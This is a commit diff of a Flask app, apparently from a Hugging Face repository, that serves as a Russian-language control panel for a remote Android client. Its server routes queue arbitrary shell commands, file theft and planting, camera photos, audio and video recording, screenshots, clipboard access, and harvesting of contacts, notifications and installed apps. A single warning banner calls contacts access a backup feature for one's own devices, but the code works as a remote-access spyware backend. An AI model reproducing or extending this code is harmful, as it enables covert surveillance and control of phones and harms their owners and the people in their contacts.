Aleksmorshen commited on
Commit
42e23d0
·
verified ·
1 Parent(s): 4a9fddf

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +113 -183
app.py CHANGED
@@ -32,12 +32,12 @@ HTML_TEMPLATE = """
32
  <title>Панель управления Android</title>
33
  <style>
34
  body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
35
- .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; overflow-y: auto; }
36
  .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
37
  .sidebar ul { list-style: none; padding: 0; margin: 0; }
38
  .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
39
  .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
40
- .content { flex-grow: 1; padding: 20px; box-sizing: border-box; overflow-y: auto;}
41
  .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
42
  h1 { color: #333; text-align: center; margin-bottom: 20px;}
43
  .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
@@ -49,23 +49,25 @@ HTML_TEMPLATE = """
49
  .status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
50
  .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
51
  .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
52
- .file-browser ul { list-style: none; padding: 0; }
53
- .file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
54
- .file-browser li:last-child { border-bottom: none; }
55
- .file-browser a { text-decoration: none; color: #007bff; }
56
- .file-browser a:hover { text-decoration: underline; }
57
  .file-icon { margin-right: 8px; }
58
  .file-browser .dir a { font-weight: bold; }
59
  .file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
60
  .file-browser .download-btn:hover { background-color: #218838; }
 
 
61
  .hidden-section { display: none; }
62
  .status-item { margin-bottom: 10px; }
63
  .status-item strong { color: #333; }
64
- .data-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
65
- .data-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
66
- .data-item:last-child { border-bottom: none; }
67
- .data-item strong { display: block; color: #555; }
68
- .data-item span { font-size: 0.9em; color: #777; }
69
  </style>
70
  <script>
71
  let currentView = 'dashboard';
@@ -229,7 +231,7 @@ HTML_TEMPLATE = """
229
  if (notifications && notifications.length > 0) {
230
  notifications.forEach(n => {
231
  const itemDiv = document.createElement('div');
232
- itemDiv.className = 'data-item';
233
  itemDiv.innerHTML = `
234
  <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
235
  <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
@@ -243,49 +245,41 @@ HTML_TEMPLATE = """
243
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
244
  }
245
  }
246
-
247
  function renderContacts(contacts) {
248
- const contactListDiv = document.getElementById('contactList');
249
- contactListDiv.innerHTML = '';
250
  if (contacts && contacts.length > 0) {
251
  contacts.forEach(c => {
252
- const itemDiv = document.createElement('div');
253
- itemDiv.className = 'data-item';
254
- itemDiv.innerHTML = `
255
- <strong>${c.name || 'Без имени'}</strong>
256
- <span>${c.number || 'Нет номера'}</span>
257
- `;
258
- contactListDiv.appendChild(itemDiv);
259
  });
260
  } else {
261
- contactListDiv.innerHTML = '<p>Нет контактов для отображения или не удалось их получить.</p>';
262
  }
263
  }
264
-
265
  function renderInstalledApps(apps) {
266
- const appListDiv = document.getElementById('installedAppsList');
267
- appListDiv.innerHTML = '';
268
  if (apps && apps.length > 0) {
269
- apps.forEach(app_pkg => {
270
- const itemDiv = document.createElement('div');
271
- itemDiv.className = 'data-item';
272
- itemDiv.innerHTML = `<span>${app_pkg}</span>`;
273
- // Add button to try and launch (user needs to fill activity)
274
- /*
275
  const launchBtn = document.createElement('button');
276
- launchBtn.textContent = 'Запустить (AM)';
277
- launchBtn.onclick = () => {
278
- let activity = prompt('Введите главный Activity для ' + app_pkg + ' (например, .MainActivity):', '');
279
- if (activity) {
280
- sendGenericCommand({command_type: 'shell', command: 'am start -n ' + app_pkg + '/' + activity});
281
- }
282
- };
283
- itemDiv.appendChild(launchBtn);
284
- */
285
- appListDiv.appendChild(itemDiv);
286
  });
287
  } else {
288
- appListDiv.innerHTML = '<p>Список приложений пуст или не удалось его получить.</p>';
289
  }
290
  }
291
 
@@ -349,17 +343,6 @@ HTML_TEMPLATE = """
349
  sendGenericCommand({ command_type: 'shell', command: command });
350
  document.getElementById('command_str').value = '';
351
  }
352
-
353
- function submitAmStartCommand(event) {
354
- event.preventDefault();
355
- const command = document.getElementById('am_start_command_str').value;
356
- if (command) {
357
- sendGenericCommand({ command_type: 'shell', command: 'am start -n ' + command });
358
- } else {
359
- alert("Введите имя пакета/активити.");
360
- }
361
- }
362
-
363
 
364
  function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
365
  let payload = { command_type: type };
@@ -367,7 +350,7 @@ HTML_TEMPLATE = """
367
  const value = document.getElementById(paramValueId).value;
368
  if (value) payload[paramName] = value;
369
  }
370
- if (param2Name && param2ValueId) {
371
  const value2 = document.getElementById(param2ValueId).value;
372
  if (value2) payload[param2Name] = value2;
373
  }
@@ -446,6 +429,9 @@ HTML_TEMPLATE = """
446
  function requestInstalledApps() {
447
  sendGenericCommand({ command_type: 'get_installed_apps' });
448
  }
 
 
 
449
 
450
 
451
  </script>
@@ -510,39 +496,34 @@ HTML_TEMPLATE = """
510
  <button onclick="requestNotifications()">Обновить уведомления</button>
511
  <div class="control-section">
512
  <h3>Список уведомлений:</h3>
513
- <div id="notificationList" class="data-list">
514
  <p>Запросите список уведомлений.</p>
515
  </div>
516
  </div>
517
  </div>
518
-
519
  <div id="contacts" class="container hidden-section">
520
  <h2>Контакты</h2>
521
- <button onclick="requestContacts()">Загрузить контакты</button>
 
 
 
522
  <div class="control-section">
523
  <h3>Список контактов:</h3>
524
- <div id="contactList" class="data-list">
525
- <p>Запросите список контактов.</p>
526
- </div>
527
  </div>
528
  </div>
529
-
530
  <div id="apps" class="container hidden-section">
531
  <h2>Установленные приложения</h2>
532
- <button onclick="requestInstalledApps()">Загрузить список приложений</button>
533
  <div class="control-section">
534
- <h3>Список пакетов приложений:</h3>
535
- <div id="installedAppsList" class="data-list" style="max-height: 200px;">
536
- <p>Запросите список приложений.</p>
537
- </div>
538
- </div>
539
- <div class="control-section">
540
- <h3>Запустить приложение (через AM)</h3>
541
- <form onsubmit="submitAmStartCommand(event)">
542
- <label for="am_start_command_str">Имя пакета/Главная Activity (например, com.example.app/.MainActivity):</label>
543
- <input type="text" id="am_start_command_str" name="am_start_command_str" placeholder="com.termux/.app.TermuxActivity">
544
- <button type="submit">Запустить</button>
545
- </form>
546
  </div>
547
  </div>
548
 
@@ -598,12 +579,12 @@ HTML_TEMPLATE = """
598
  <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
599
  <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
600
  </div>
601
- <div class="control-section">
602
- <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
603
- <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
604
- <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
605
- <label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
606
- <input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
607
  </div>
608
  <div class="control-section">
609
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
@@ -679,7 +660,7 @@ def index():
679
 
680
  @app.route('/send_command', methods=['POST'])
681
  def handle_send_command():
682
- global pending_command, command_output, current_client_path, file_to_send_to_client
683
 
684
  data = request.json
685
  command_output = "Ожидание выполнения..."
@@ -687,69 +668,51 @@ def handle_send_command():
687
  command_type = data.get('command_type')
688
 
689
  if command_type == 'list_files':
690
- path_requested = data.get('path', '.')
691
- pending_command = {'type': 'list_files', 'path': path_requested}
692
  elif command_type == 'request_download_file':
693
  filename = data.get('filename')
694
- if filename:
695
- pending_command = {'type': 'upload_to_server', 'filename': filename}
696
- else:
697
- command_output = "Ошибка: Имя файла для скачивания не указано."
698
  elif command_type == 'take_photo':
699
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
700
  elif command_type == 'record_audio':
701
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
702
  elif command_type == 'record_video':
703
- pending_command = {
704
- 'type': 'record_video',
705
- 'duration': data.get('duration', '10'),
706
- 'camera_id': data.get('camera_id', '0')
707
- }
708
  elif command_type == 'screenshot':
709
  pending_command = {'type': 'screenshot'}
710
  elif command_type == 'shell':
711
  command_str = data.get('command')
712
- if command_str:
713
- pending_command = {'type': 'shell', 'command': command_str}
714
- else:
715
- command_output = "Ошибка: Команда не указана."
716
  elif command_type == 'receive_file':
717
- server_filename = data.get('server_filename')
718
- target_path_on_device = data.get('target_path_on_device')
719
- if server_filename and target_path_on_device:
720
- file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
721
- if os.path.exists(file_path_on_server):
722
- pending_command = {
723
- 'type': 'receive_file',
724
- 'download_url': url_for('download_to_client', filename=server_filename, _external=True),
725
- 'target_path': target_path_on_device,
726
- 'original_filename': server_filename
727
- }
728
- file_to_send_to_client = None
729
- else:
730
- command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
731
- else:
732
- command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
733
  elif command_type == 'clipboard_get':
734
  pending_command = {'type': 'clipboard_get'}
735
  elif command_type == 'clipboard_set':
736
- text_to_set = data.get('text', '')
737
- pending_command = {'type': 'clipboard_set', 'text': text_to_set}
738
  elif command_type == 'open_url':
739
- url_to_open = data.get('url')
740
- if url_to_open:
741
- pending_command = {'type': 'open_url', 'url': url_to_open}
742
- else:
743
- command_output = "Ошибка: URL для открытия не указан."
744
  elif command_type == 'get_device_status':
745
- item_requested = data.get('item')
746
- pending_command = {'type': 'get_device_status', 'item': item_requested}
747
  elif command_type == 'get_notifications':
748
  pending_command = {'type': 'get_notifications'}
749
  elif command_type == 'get_contacts':
750
  pending_command = {'type': 'get_contacts'}
751
  elif command_type == 'get_installed_apps':
752
  pending_command = {'type': 'get_installed_apps'}
 
 
 
 
753
  else:
754
  command_output = "Неизвестный тип команды."
755
 
@@ -770,47 +733,37 @@ def submit_client_data():
770
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
771
 
772
  data = request.json
773
- if not data:
774
- return jsonify({'status': 'error', 'message': 'No data received'}), 400
775
 
776
  last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
777
 
778
  if 'output' in data:
779
  new_output = data['output']
780
  max_len = 20000
781
- if len(new_output) > max_len:
782
- command_output = new_output[:max_len] + "\n... (output truncated)"
783
- else:
784
- command_output = new_output
785
 
786
- if 'current_path' in data:
787
- current_client_path = data['current_path']
788
-
789
- if 'device_status_update' in data:
790
- update = data['device_status_update']
791
- for key, value in update.items():
792
- device_status_info[key] = value
793
 
794
  if 'notifications_update' in data:
795
- notifications_history = data['notifications_update']
796
- if not command_output or command_output == "Клиент онлайн.":
797
- command_output = "Список уведомлений обновлен."
798
-
799
  if 'contacts_update' in data:
800
  contacts_list = data['contacts_update']
801
- if not command_output or command_output == "Клиент онлайн.":
802
- command_output = "Список контактов обновлен."
803
 
804
  if 'installed_apps_update' in data:
805
  installed_apps_list = data['installed_apps_update']
806
- if not command_output or command_output == "Клиент онлайн.":
807
- command_output = "Список установленных приложений обновлен."
808
 
809
 
810
  if 'heartbeat' in data and data['heartbeat']:
811
- if not command_output or command_output == "Клиент онлайн.":
812
- if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data and 'installed_apps_update' not in data:
813
- command_output = "Клиент онлайн."
 
 
814
  return jsonify({'status': 'heartbeat_ok'})
815
 
816
  return jsonify({'status': 'data_received'})
@@ -832,19 +785,15 @@ def upload_from_client_route():
832
  filename = werkzeug.utils.secure_filename(file.filename)
833
  filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
834
 
835
- counter = 0
836
- base_name, ext = os.path.splitext(filename)
837
  while os.path.exists(filepath):
838
- counter += 1
839
- filename = f"{base_name}_{counter}{ext}"
840
- filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
841
 
842
  try:
843
  file.save(filepath)
844
  origin_command_type = request.form.get("origin_command_type", "unknown")
845
  if origin_command_type == "request_download_file":
846
  command_output = f"Файл '{filename}' успешно загружен С клиента."
847
-
848
  return jsonify({'status': 'success', 'filename': filename})
849
  except Exception as e:
850
  command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
@@ -854,12 +803,9 @@ def upload_from_client_route():
854
  def get_status_output_route():
855
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
856
  return jsonify({
857
- 'output': command_output,
858
- 'last_heartbeat': last_client_heartbeat,
859
- 'current_path': current_client_path,
860
- 'device_status': device_status_info,
861
- 'notifications': notifications_history,
862
- 'contacts': contacts_list,
863
  'installed_apps': installed_apps_list
864
  })
865
 
@@ -872,50 +818,34 @@ def list_uploaded_files_route():
872
  files = []
873
  try:
874
  for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
875
- if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
876
- files.append(f_name)
877
- except Exception:
878
- pass
879
  return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
880
 
881
 
882
  @app.route('/upload_to_server_for_client', methods=['POST'])
883
  def upload_to_server_for_client_route():
884
- global file_to_send_to_client, command_output
885
- if 'file_to_device' not in request.files:
886
- return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
887
-
888
  file = request.files['file_to_device']
889
  target_path_on_device = request.form.get('target_path_on_device')
890
-
891
- if file.filename == '':
892
- return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
893
-
894
- if not target_path_on_device:
895
- return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
896
 
897
  if file:
898
  original_filename = werkzeug.utils.secure_filename(file.filename)
899
  server_side_filename = str(uuid.uuid4()) + "_" + original_filename
900
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
901
-
902
  try:
903
  file.save(filepath_on_server)
904
  command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
905
- return jsonify({
906
- 'status': 'success',
907
- 'server_filename': server_side_filename,
908
- 'original_filename': original_filename,
909
- 'target_path_on_device': target_path_on_device
910
- })
911
- except Exception as e:
912
- return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
913
  return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
914
 
915
  @app.route('/download_to_client/<filename>')
916
  def download_to_client(filename):
917
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
918
 
919
-
920
  if __name__ == '__main__':
921
  app.run(host='0.0.0.0', port=7860, debug=False)
 
32
  <title>Панель управления Android</title>
33
  <style>
34
  body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
35
+ .sidebar { width: 280px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
36
  .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
37
  .sidebar ul { list-style: none; padding: 0; margin: 0; }
38
  .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
39
  .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
40
+ .content { flex-grow: 1; padding: 20px; box-sizing: border-box; }
41
  .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
42
  h1 { color: #333; text-align: center; margin-bottom: 20px;}
43
  .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
 
49
  .status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
50
  .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
51
  .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
52
+ .file-browser ul, .data-list ul { list-style: none; padding: 0; }
53
+ .file-browser li, .data-list li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
54
+ .file-browser li:last-child, .data-list li:last-child { border-bottom: none; }
55
+ .file-browser a, .data-list a { text-decoration: none; color: #007bff; }
56
+ .file-browser a:hover, .data-list a:hover { text-decoration: underline; }
57
  .file-icon { margin-right: 8px; }
58
  .file-browser .dir a { font-weight: bold; }
59
  .file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
60
  .file-browser .download-btn:hover { background-color: #218838; }
61
+ .data-list .action-btn { font-size: 0.8em; padding: 3px 8px; background-color: #17a2b8; }
62
+ .data-list .action-btn:hover { background-color: #138496; }
63
  .hidden-section { display: none; }
64
  .status-item { margin-bottom: 10px; }
65
  .status-item strong { color: #333; }
66
+ .list-container { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
67
+ .list-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
68
+ .list-item:last-child { border-bottom: none; }
69
+ .list-item strong { display: block; color: #555; }
70
+ .list-item span { font-size: 0.9em; color: #777; }
71
  </style>
72
  <script>
73
  let currentView = 'dashboard';
 
231
  if (notifications && notifications.length > 0) {
232
  notifications.forEach(n => {
233
  const itemDiv = document.createElement('div');
234
+ itemDiv.className = 'list-item';
235
  itemDiv.innerHTML = `
236
  <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
237
  <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
 
245
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
246
  }
247
  }
 
248
  function renderContacts(contacts) {
249
+ const contactListUl = document.getElementById('contactList');
250
+ contactListUl.innerHTML = '';
251
  if (contacts && contacts.length > 0) {
252
  contacts.forEach(c => {
253
+ const li = document.createElement('li');
254
+ li.className = 'list-item';
255
+ li.innerHTML = `<strong>${c.name || 'Без имени'}</strong>: ${c.number || 'Нет номера'}`;
256
+ contactListUl.appendChild(li);
 
 
 
257
  });
258
  } else {
259
+ contactListUl.innerHTML = '<li>Нет контактов для отображения или не удалось их получить.</li>';
260
  }
261
  }
262
+
263
  function renderInstalledApps(apps) {
264
+ const appLictUl = document.getElementById('installedAppsList');
265
+ appLictUl.innerHTML = '';
266
  if (apps && apps.length > 0) {
267
+ apps.forEach(appPkg => {
268
+ const li = document.createElement('li');
269
+ const nameSpan = document.createElement('span');
270
+ nameSpan.textContent = appPkg;
271
+
 
272
  const launchBtn = document.createElement('button');
273
+ launchBtn.className = 'action-btn';
274
+ launchBtn.textContent = 'Запустить';
275
+ launchBtn.onclick = (e) => { e.preventDefault(); launchApp(appPkg); };
276
+
277
+ li.appendChild(nameSpan);
278
+ li.appendChild(launchBtn);
279
+ appLictUl.appendChild(li);
 
 
 
280
  });
281
  } else {
282
+ appLictUl.innerHTML = '<li>Нет установленных приложений для отображения или не удалось их получить.</li>';
283
  }
284
  }
285
 
 
343
  sendGenericCommand({ command_type: 'shell', command: command });
344
  document.getElementById('command_str').value = '';
345
  }
 
 
 
 
 
 
 
 
 
 
 
346
 
347
  function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
348
  let payload = { command_type: type };
 
350
  const value = document.getElementById(paramValueId).value;
351
  if (value) payload[paramName] = value;
352
  }
353
+ if (param2Name && param2ValueId) { // For second param, e.g., video duration
354
  const value2 = document.getElementById(param2ValueId).value;
355
  if (value2) payload[param2Name] = value2;
356
  }
 
429
  function requestInstalledApps() {
430
  sendGenericCommand({ command_type: 'get_installed_apps' });
431
  }
432
+ function launchApp(packageName) {
433
+ sendGenericCommand({ command_type: 'launch_app', package_name: packageName });
434
+ }
435
 
436
 
437
  </script>
 
496
  <button onclick="requestNotifications()">Обновить уведомления</button>
497
  <div class="control-section">
498
  <h3>Список уведомлений:</h3>
499
+ <div id="notificationList" class="list-container">
500
  <p>Запросите список уведомлений.</p>
501
  </div>
502
  </div>
503
  </div>
504
+
505
  <div id="contacts" class="container hidden-section">
506
  <h2>Контакты</h2>
507
+ <div class="control-section" style="border-color: red; background-color: #ffebee;">
508
+ <p style="color: red; font-weight: bold;">ВНИМАНИЕ: Доступ к контактам является чувствительной операцией. Используйте ответственно и только на своих устройствах для резервного копирования!</p>
509
+ </div>
510
+ <button onclick="requestContacts()">Запросить список контактов</button>
511
  <div class="control-section">
512
  <h3>Список контактов:</h3>
513
+ <ul id="contactList" class="list-container data-list">
514
+ <li>Запросите список контактов.</li>
515
+ </ul>
516
  </div>
517
  </div>
518
+
519
  <div id="apps" class="container hidden-section">
520
  <h2>Установленные приложения</h2>
521
+ <button onclick="requestInstalledApps()">Запросить список приложений</button>
522
  <div class="control-section">
523
+ <h3>Список приложений (пакеты):</h3>
524
+ <ul id="installedAppsList" class="list-container data-list">
525
+ <li>Запросите список приложений.</li>
526
+ </ul>
 
 
 
 
 
 
 
 
527
  </div>
528
  </div>
529
 
 
579
  <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
580
  <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
581
  </div>
582
+ <div class="control-section">
583
+ <button onclick="submitMediaCommand('record_video', 'camera_id', 'video_camera_id_input', 'duration', 'video_duration_input')">Записать видео</button>
584
+ <label for="video_camera_id_input" style="display:inline-block; margin-left:5px;">ID камеры:</label>
585
+ <input type="text" id="video_camera_id_input" value="0" style="width:40px; display:inline-block;">
586
+ <label for="video_duration_input" style="display:inline-block; margin-left:5px;">Длит. (сек):</label>
587
+ <input type="text" id="video_duration_input" value="10" style="width:40px; display:inline-block;">
588
  </div>
589
  <div class="control-section">
590
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
 
660
 
661
  @app.route('/send_command', methods=['POST'])
662
  def handle_send_command():
663
+ global pending_command, command_output
664
 
665
  data = request.json
666
  command_output = "Ожидание выполнения..."
 
668
  command_type = data.get('command_type')
669
 
670
  if command_type == 'list_files':
671
+ pending_command = {'type': 'list_files', 'path': data.get('path', '.')}
 
672
  elif command_type == 'request_download_file':
673
  filename = data.get('filename')
674
+ if filename: pending_command = {'type': 'upload_to_server', 'filename': filename}
675
+ else: command_output = "Ошибка: Имя файла для скачивания не указано."
 
 
676
  elif command_type == 'take_photo':
677
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
678
  elif command_type == 'record_audio':
679
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
680
  elif command_type == 'record_video':
681
+ pending_command = {'type': 'record_video', 'camera_id': data.get('camera_id','0'), 'duration': data.get('duration', '10')}
 
 
 
 
682
  elif command_type == 'screenshot':
683
  pending_command = {'type': 'screenshot'}
684
  elif command_type == 'shell':
685
  command_str = data.get('command')
686
+ if command_str: pending_command = {'type': 'shell', 'command': command_str}
687
+ else: command_output = "Ошибка: Команда не указана."
 
 
688
  elif command_type == 'receive_file':
689
+ s_fn, t_path = data.get('server_filename'), data.get('target_path_on_device')
690
+ if s_fn and t_path:
691
+ f_path = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], s_fn)
692
+ if os.path.exists(f_path):
693
+ pending_command = {'type': 'receive_file', 'download_url': url_for('download_to_client', filename=s_fn, _external=True), 'target_path': t_path, 'original_filename': s_fn }
694
+ else: command_output = f"Ошибка: Файл {s_fn} не найден на сервере."
695
+ else: command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
 
 
 
 
 
 
 
 
 
696
  elif command_type == 'clipboard_get':
697
  pending_command = {'type': 'clipboard_get'}
698
  elif command_type == 'clipboard_set':
699
+ pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')}
 
700
  elif command_type == 'open_url':
701
+ url = data.get('url')
702
+ if url: pending_command = {'type': 'open_url', 'url': url}
703
+ else: command_output = "Ошибка: URL для открытия не указан."
 
 
704
  elif command_type == 'get_device_status':
705
+ pending_command = {'type': 'get_device_status', 'item': data.get('item')}
 
706
  elif command_type == 'get_notifications':
707
  pending_command = {'type': 'get_notifications'}
708
  elif command_type == 'get_contacts':
709
  pending_command = {'type': 'get_contacts'}
710
  elif command_type == 'get_installed_apps':
711
  pending_command = {'type': 'get_installed_apps'}
712
+ elif command_type == 'launch_app':
713
+ pkg_name = data.get('package_name')
714
+ if pkg_name: pending_command = {'type': 'launch_app', 'package_name': pkg_name}
715
+ else: command_output = "Ошибка: Имя пакета для запуска не указано."
716
  else:
717
  command_output = "Неизвестный тип команды."
718
 
 
733
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
734
 
735
  data = request.json
736
+ if not data: return jsonify({'status': 'error', 'message': 'No data received'}), 400
 
737
 
738
  last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
739
 
740
  if 'output' in data:
741
  new_output = data['output']
742
  max_len = 20000
743
+ command_output = new_output[:max_len] + ("\n... (output truncated)" if len(new_output) > max_len else "")
 
 
 
744
 
745
+ if 'current_path' in data: current_client_path = data['current_path']
746
+ if 'device_status_update' in data: device_status_info.update(data['device_status_update'])
 
 
 
 
 
747
 
748
  if 'notifications_update' in data:
749
+ notifications_history = data['notifications_update']
750
+ if not command_output or command_output == "Клиент онлайн.": command_output = "Список уведомлений обновлен."
751
+
 
752
  if 'contacts_update' in data:
753
  contacts_list = data['contacts_update']
754
+ if not command_output or command_output == "Клиент онлайн.": command_output = "Список контактов обновлен."
 
755
 
756
  if 'installed_apps_update' in data:
757
  installed_apps_list = data['installed_apps_update']
758
+ if not command_output or command_output == "Клиент онлайн.": command_output = "Список приложений обновлен."
 
759
 
760
 
761
  if 'heartbeat' in data and data['heartbeat']:
762
+ is_pure_heartbeat = 'output' not in data and 'device_status_update' not in data and \
763
+ 'notifications_update' not in data and 'contacts_update' not in data and \
764
+ 'installed_apps_update' not in data
765
+ if not command_output or command_output == "Клиент онлайн." or is_pure_heartbeat:
766
+ if is_pure_heartbeat : command_output = "Клиент онлайн."
767
  return jsonify({'status': 'heartbeat_ok'})
768
 
769
  return jsonify({'status': 'data_received'})
 
785
  filename = werkzeug.utils.secure_filename(file.filename)
786
  filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
787
 
788
+ counter = 0; base_name, ext = os.path.splitext(filename)
 
789
  while os.path.exists(filepath):
790
+ counter += 1; filename = f"{base_name}_{counter}{ext}"; filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
 
 
791
 
792
  try:
793
  file.save(filepath)
794
  origin_command_type = request.form.get("origin_command_type", "unknown")
795
  if origin_command_type == "request_download_file":
796
  command_output = f"Файл '{filename}' успешно загружен С клиента."
 
797
  return jsonify({'status': 'success', 'filename': filename})
798
  except Exception as e:
799
  command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
 
803
  def get_status_output_route():
804
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
805
  return jsonify({
806
+ 'output': command_output, 'last_heartbeat': last_client_heartbeat,
807
+ 'current_path': current_client_path, 'device_status': device_status_info,
808
+ 'notifications': notifications_history, 'contacts': contacts_list,
 
 
 
809
  'installed_apps': installed_apps_list
810
  })
811
 
 
818
  files = []
819
  try:
820
  for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
821
+ if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)): files.append(f_name)
822
+ except Exception: pass
 
 
823
  return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
824
 
825
 
826
  @app.route('/upload_to_server_for_client', methods=['POST'])
827
  def upload_to_server_for_client_route():
828
+ global command_output
829
+ if 'file_to_device' not in request.files: return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
 
 
830
  file = request.files['file_to_device']
831
  target_path_on_device = request.form.get('target_path_on_device')
832
+ if file.filename == '': return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
833
+ if not target_path_on_device: return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
 
 
 
 
834
 
835
  if file:
836
  original_filename = werkzeug.utils.secure_filename(file.filename)
837
  server_side_filename = str(uuid.uuid4()) + "_" + original_filename
838
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
 
839
  try:
840
  file.save(filepath_on_server)
841
  command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
842
+ return jsonify({'status': 'success', 'server_filename': server_side_filename, 'original_filename': original_filename, 'target_path_on_device': target_path_on_device})
843
